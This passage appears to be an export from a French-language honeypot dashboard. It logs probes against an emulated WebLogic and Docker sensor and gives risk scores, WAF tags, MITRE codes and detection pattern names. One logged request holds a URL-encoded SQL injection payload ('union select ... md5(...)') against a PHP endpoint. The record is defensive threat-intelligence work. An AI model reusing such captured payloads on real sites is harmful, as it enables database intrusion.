"7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950325:rce-0", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "anomaly:high-entropy-query", "net_web_probe" ] }
30/07/2026 21:49:06 UTC	TCP	7001 · HTTP	http	Sonde fichier configuration config file probe · via HTTP:7001 · (tentative d'exploit) · → /admin/	Élevée	Moyen · 59
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1083 TA0001 TA0002 Protocole GET /admin/ UA Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Ge… Émulateur HTTP WAF 19 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 http_admin_panel_probe Cible HTTP GET /admin/ TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /admin/ Service HTTP Pourquoi cette classification : Sonde fichier sensible: chemin sensible (tag interne) · Règle WAF « rce-0 » · Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Moyen · 59 Confiance : Confiance 100 % — 3 tag(s) WAF Protocole émulé 1 Signaux Http Sensitive Upstream Waf Score Technique MITRE T1083 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) SSRF Any-address SSRF ET Magento admin ES admin GET ActiveMQ console Ligne de requête `GET /admin/ HTTP/1.1` User-Agent Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /admin/ HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chr Requête brute (extrait) GET /admin/ HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 1, "http_path_ext": null, "http_ua_hash": "1e642a246426c6f7acd5f0b8df79432d09ca1d17", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "07354ca2969df78aa67794847e5e59bed611673a", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 216, "payload_entropy": 5.386247718765347, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 84, "risk_classification": 74, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 7, "risk_breakdown": { "waf": 84, "classification": 74, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25 }, "risk_score": 59, "tag_count": 8, "anomaly_count": 0, "campaign_key": "6d10120a218d87c5be815edc71c393e8fe519173", "event_fingerprint": "c33a12050149720787294eb9499181b3bae437f1", "classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 127, "precision_signals": [ "INT-http_sensitive", "INT-upstream", "INT-waf-score" ], "kb_rule_ids": [ "INT-http_sensitive", "INT-upstream", "INT-waf-score" ], "matched_patterns": [ "pat-0324", "pat-0854", "pat-0341", "pat-0606" ], "matched_pattern_names": [ "SSRF Any-address SSRF", "ET Magento admin", "ES admin GET", "ActiveMQ console" ], "pattern_ids": [ "pat-0324", "pat-0854", "pat-0341", "pat-0606" ], "confidence_breakdown": { "waf": 84, "classification": 74, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 59, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "backup_file_scan", "service_name": "http", "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "39e1e0cfa22c76bdd210b3a9e75e444f", "payload_hash": "75cafaa4f6e08947d7ed4102ecce8953", "path_pattern_hash": "79952c96c295dee2566cc94fcddfbd57" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 59 }, "payload_preview": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chr", "method": "GET", "path": "\/admin\/", "user_agent": "Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/140.0.0.0 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/admin\/ HTTP\/1.1", "request_sample": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/140.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chr", "evidence": { "method": "GET", "path": "\/admin\/", "user_agent": "Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/140.0.0.0 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/admin\/ HTTP\/1.1", "request_sample": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/140.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chr", "classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1083" ], "mitre": "T1083", "threat_family": [ "path_traversal", "config_leak_scan" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "0114ecbcf0b3408d933bd42140adc6eb6f3bf2e2", "protocol_details": { "http_method": "GET", "http_path": "\/admin\/", "request_line": "GET \/admin\/ HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/140.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chr", "attack_vector": "config file probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/admin\/", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%", "classification_reason_label_fr": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 59\/100 (Moyen) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 84, "classification": 74, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 59, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 59, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "INT-http_sensitive", "INT-upstream", "INT-waf-score" ], "tags_summary_labels_fr": [ "Http Sensitive", "Upstream", "Waf Score" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1083", "mitre_technique": "T1083", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/admin\/", "request_line": "GET \/admin\/ HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/140.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "config file probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/admin\/", "evidence_snippet": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chr", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "ban_policy": "advisory_investigate", "tags_list": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "http_admin_panel_probe", "http_admin_panel_scan", "http_probe_admin", "http_sensitive_path", "net_web_probe" ] }
30/07/2026 21:49:06 UTC	TCP	2375 · DOCKER	docker	Sonde Elasticsearch elasticsearch probe · via DOCKER:2375 · (sonde / probe)	Élevée	Moyen · 43
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /admin/ HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firef Pourquoi cette classification : Type « elasticsearch_probe » (signaux protocolaires) · confiance 49% Confiance classification 57% Corrélation +8 Risque capteur Moyen · 43 Confiance : Confiance 49 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0341 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 Motifs de détection (base) ES admin GET User-Agent — Règles WAF — Payload (extrait) GET /admin/ HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firef Requête brute (extrait) GET /admin/ HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 197, "payload_entropy": 5.308817620414401, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 58, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 58, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 43, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab elasticsearch_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%", "confidence": 0.57, "classification_confidence": 0.57, "precision_score": 58, "precision_signals": [ "pat-0341" ], "kb_rule_ids": [ "pat-0341" ], "matched_patterns": [ "pat-0341" ], "matched_pattern_names": [ "ES admin GET" ], "pattern_ids": [ "pat-0341" ], "confidence_breakdown": { "waf": 8, "classification": 58, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 43, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 49, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "aa29b537882cd7b922fda87e39b0b278", "path_pattern_hash": "9dbf5366f59d9174076d704198d3d3fd" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 43 }, "payload_preview": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko\/20100101 Firef", "request_sample": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/112.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko\/20100101 Firef", "evidence": { "request_sample": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/112.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko\/20100101 Firef", "classification_reason": "Type \u00ab elasticsearch_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "scanner" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "dc7e59b57d54066b6865267bca238309e8ea0787", "protocol_details": { "payload_preview": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko\/20100101 Firef", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko\/20100101 Firef", "attack_vector": "elasticsearch probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9", "site_display": { "classification": null, "classification_reason": "Type \u00ab elasticsearch_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%", "classification_reason_label_fr": "Type \u00ab elasticsearch_probe \u00bb (signaux protocolaires) \u00b7 confiance 49%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 43\/100", "confidence_pct": 57, "confidence_breakdown": { "waf": 8, "classification": 58, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 43, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 43, "risk_label": "Moyen", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": [ "pat-0341" ], "tags_summary_labels_fr": [ "pat-0341" ], "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko\/20100101 Firef", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "elasticsearch probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/admin\/ HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko\/20100101 Firef", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 49 % \u2014 Motif catalogue confirm\u00e9", "confidence_factors_fr": "Confiance 57 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:05 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 32
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload mozi_pattern Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /plus/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP/1.1 Host: 62.3.50. Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 32 Confiance : Confiance 0 % — 5 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /plus/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP/1.1 Host: 62.3.50. Requête brute (extrait) GET /plus/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Saf Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 329, "payload_entropy": 5.57511157077092, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 30, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 4.8, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25 }, "risk_score": 32, "tag_count": 5, "anomaly_count": 0, "campaign_key": "e3d7f544a866a533f9cf364e707ea0fc45fd045d", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "9cf70f7970bac2cb913a7f8c23c0f935", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 32 }, "payload_preview": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "request_sample": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/14.0.1 Saf", "payload_snippet": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "evidence": { "request_sample": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/14.0.1 Saf", "payload_snippet": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "5f0fab05a7850aa70929cc4634c1f37280f9812d", "protocol_details": { "payload_preview": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 32\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 32, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/plus\/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP\/1.1\r\nHost: 62.3.50.", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 